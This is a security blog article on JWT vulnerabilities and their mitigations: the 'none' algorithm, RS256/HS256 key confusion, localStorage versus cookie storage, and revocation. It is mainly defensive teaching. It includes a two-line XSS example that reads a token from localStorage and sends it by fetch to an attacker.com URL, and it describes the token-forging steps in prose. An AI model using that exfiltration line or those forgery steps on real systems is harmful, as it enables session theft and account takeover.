Back to Articles
8 min read

Securing JWTs in Production: Common Vulnerabilities and Mitigations

SecurityJWTAuthenticationSession Management
Securing JWTs in Production: Common Vulnerabilities and Mitigations

JSON Web Tokens (JWTs) changed how session state is managed, allowing developers to avoid database session queries and enabling stateless, microservice-friendly authentication. If you want to understand these fundamentals first, check out the guide to OAuth 2.0 and JWTs to learn how they work and why we use them. Once you have the basics down, this guide will show you how to secure your tokens in production.

However, delegating security entirely to cryptography is a double-edged sword. If your session database fails, users might get logged out; if your JWT implementation is flawed, attackers can forge credentials, bypass authentication, and hijack accounts. According to cybersecurity research, cryptographic failures and broken authentication consistently rank in the top vulnerabilities for web APIs.

Let's dive deep into the specific vulnerabilities engineers face when using JWTs, examine the cryptographic mechanics behind them, and establish robust mitigations.


1. Cryptographic Vulnerabilities: Forging the Signature

Because JWTs are stateless, your backend trust system relies entirely on the signature. If an attacker can manipulate the signature validation process, they can bypass authentication entirely.

Vulnerability A: The none Algorithm Exploit

The JWT header contains an "alg" claim specifying the algorithm used to sign the token.

JSON
{
  "alg": "HS256",
  "typ": "JWT"
}

However, the JWT specification also defines a none algorithm, designed for debugging or contexts where transport-layer security is deemed sufficient.

But why does this vulnerability exist?

Early JWT libraries simply trusted the header's instruction. During validation, the library would check:

  1. What algorithm is this?
  2. Ah, it says none.
  3. Therefore, no signature verification is required!

An attacker could change "alg": "HS256" to "alg": "none" in the header, modify the payload to set "role": "admin", remove the signature portion, and send the token. Poorly configured verification libraries would parse it and immediately authorize the attacker.

Mitigation:

Modern JWT libraries reject none by default. However, you must explicitly enforce the expected algorithm when configuring your verifier:

JAVASCRIPT
// SECURE: Explicitly declare acceptable algorithms
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

Vulnerability B: Algorithm Key Confusion (RS256 vs. HS256)

This is a more subtle, mathematical attack that occurs when an application is configured to use asymmetric signing (like RS256), but the code handles signature verification insecurely.

But why can an attacker swap algorithms?
  • RS256 (Asymmetric): The auth server signs the token with a private key. The app backend verifies the token using the corresponding public key (which is publicly accessible).
  • HS256 (Symmetric): The token is signed and verified using the same shared secret key.

If the backend verification code uses a generic validation function that accepts whatever algorithm is in the token header, an attacker can exploit this:

  1. The attacker fetches the backend's public key (which is public).
  2. The attacker crafts a forged JWT payload (e.g., claiming admin status).
  3. The attacker changes the header algorithm from RS256 to HS256.
  4. The attacker signs this token using HS256, using the backend's public key as the symmetric secret key.
  5. When the backend receives this token, it checks the header: "Ah, this is HS256." It then passes its stored validation key (the public key file) to the verification engine. The engine compares the signature using the public key as the secret key. The signatures match perfectly!
Mitigation:

Never let the incoming token dictate the verification algorithm dynamically. Hardcode or strictly constrain the allowed algorithms during verification:

JAVASCRIPT
// SECURE: Forcing the algorithm prevents key confusion attacks
const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'] });

2. Storage Vulnerabilities: Storing Tokens on the Client

Once a token is issued, the client must store it. The choice of storage is a continuous battle between two major attack vectors: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).

The LocalStorage Approach

Many developer guides suggest storing JWTs in localStorage.

But why is LocalStorage highly insecure?

localStorage is accessible to any JavaScript running on your page. If your application suffers from a single Cross-Site Scripting (XSS) vulnerability (e.g., through an unescaped input or a compromised third-party npm package), an attacker can execute code to read your storage:

JAVASCRIPT
// An attacker steals your token in one line of code
const token = localStorage.getItem('token');
fetch('https://attacker.com/steal?token=' + token);

Once stolen, the attacker has full access to the user's session until the token expires.


The Cookie Approach

To defend against XSS, developers store JWTs in cookies. By setting the HttpOnly flag on the cookie, the browser prevents client-side JavaScript from reading the cookie data.

But why are cookies vulnerable to CSRF?

The browser decides whether to attach a cookie based on the destination of the request, not where the request originated.

If a user has an active session cookie for your-app.com and visits malicious-site.com in another tab, the malicious site can exploit this behavior:

  1. The malicious site triggers a request (e.g., using a hidden HTML form or a script) targeting https://your-app.com/api/transfer-funds.
  2. The browser processes the request. Because the destination domain is your-app.com, the browser automatically attaches the corresponding session cookie.
  3. The API receives the request, sees the valid session cookie, and executes the action, unaware that the request originated from a malicious domain.

This automatic attachment of cookies on cross-site requests is the core mechanism of Cross-Site Request Forgery (CSRF).

Mitigation:

To protect against both XSS and CSRF, configure cookies with the following strict flags:

  1. `HttpOnly`: Blocks JavaScript access (mitigates XSS token theft).
  2. `Secure`: Ensures the cookie is only transmitted over HTTPS.
  3. `SameSite=Strict` or `SameSite=Lax`: Instructs the browser not to send the cookie on cross-site requests, neutralizing CSRF attacks.

Putting Storage Risks in Perspective

While these vulnerabilities sound alarming, token theft is highly unlikely when your storage is configured correctly. Setting the HttpOnly, Secure, and SameSite cookie flags blocks both direct token extraction and cross-site request forgery.

For high-risk actions, you can add extra safety guards to ensure that even a compromised token has limited utility:

  • Step-Up Authentication: Require users to re-enter their password or provide a multi-factor authentication (MFA) code before performing critical actions (such as changing an email, transferring funds, or deleting an account).
  • IP/User-Agent Binding: Bind the token to the client's IP address or fingerprint, rejecting requests if the client's network context suddenly changes (though this must be balanced against mobile users switching cell towers).

For highly secure enterprise applications, use the BFF (Backend-for-Frontend) Pattern. In this architecture, the frontend client never sees the JWT. Instead, a lightweight backend proxy manages the OAuth flow, stores the JWT securely in server memory, and exposes a secure, encrypted cookie-based session to the frontend.


3. The Architecture Vulnerability: Revocation and Lifespans

The biggest architectural drawback of stateless JWTs is the inability to easily revoke them.

But why can't we just revoke a JWT?

Because the backend verifies JWTs cryptographically without querying a database, it has no memory of which tokens it has issued. If a user logs out, or if an administrator wants to ban a user, the JWT remains completely valid until its exp time is reached.

Mitigation: The Double Token Pattern

To achieve near-instant revocation without losing the scalability benefits of statelessness, use a combination of short-lived access tokens and stateful refresh tokens:

  1. Access Token (Short-lived JWT):
  • Expiration: 5 to 15 minutes.
  • Stored securely. Used to access the API.
  • Because it expires quickly, the window of vulnerability if it is stolen is minimal.
  1. Refresh Token (Long-lived, Stateful):
  • Expiration: Days or weeks.
  • Stored in a secure database on the server, and stored as an HttpOnly cookie on the client.
  • Used only to request new access tokens when the old ones expire.

When a user logs out or is banned, the server deletes the Refresh Token from the database. The next time the client's short-lived access token expires, it will attempt to exchange the refresh token for a new access token. The server will check the database, see the refresh token is gone, and reject the request. The user is successfully logged out within 15 minutes at most.

Loading diagram...

Summary of Secure JWT Checklist

For engineers building production-ready authentication, ensure you implement these rules:

Security VectorVulnerabilityEngineering Mitigation
Algorithm Manipulationnone algorithm exploitEnforce explicit signing algorithms during verification (e.g., specify ['RS256']).
Asymmetric Key SwapRS256/HS256 Key ConfusionDo not allow user-controlled headers to dynamically select the verification path.
Token TheftXSS stealing tokensDo not store tokens in localStorage. Use HttpOnly cookies.
Request ForgeryCSRF attacks on cookiesSet SameSite=Strict or SameSite=Lax and implement anti-CSRF headers.
Session ControlInability to logout/revokeImplement short-lived Access Tokens (5-15 mins) paired with a database-checked Refresh Token.

Written by Jaakko Hyöty

AI & Software Engineer. Moving AI systems into production.

← Back to Articles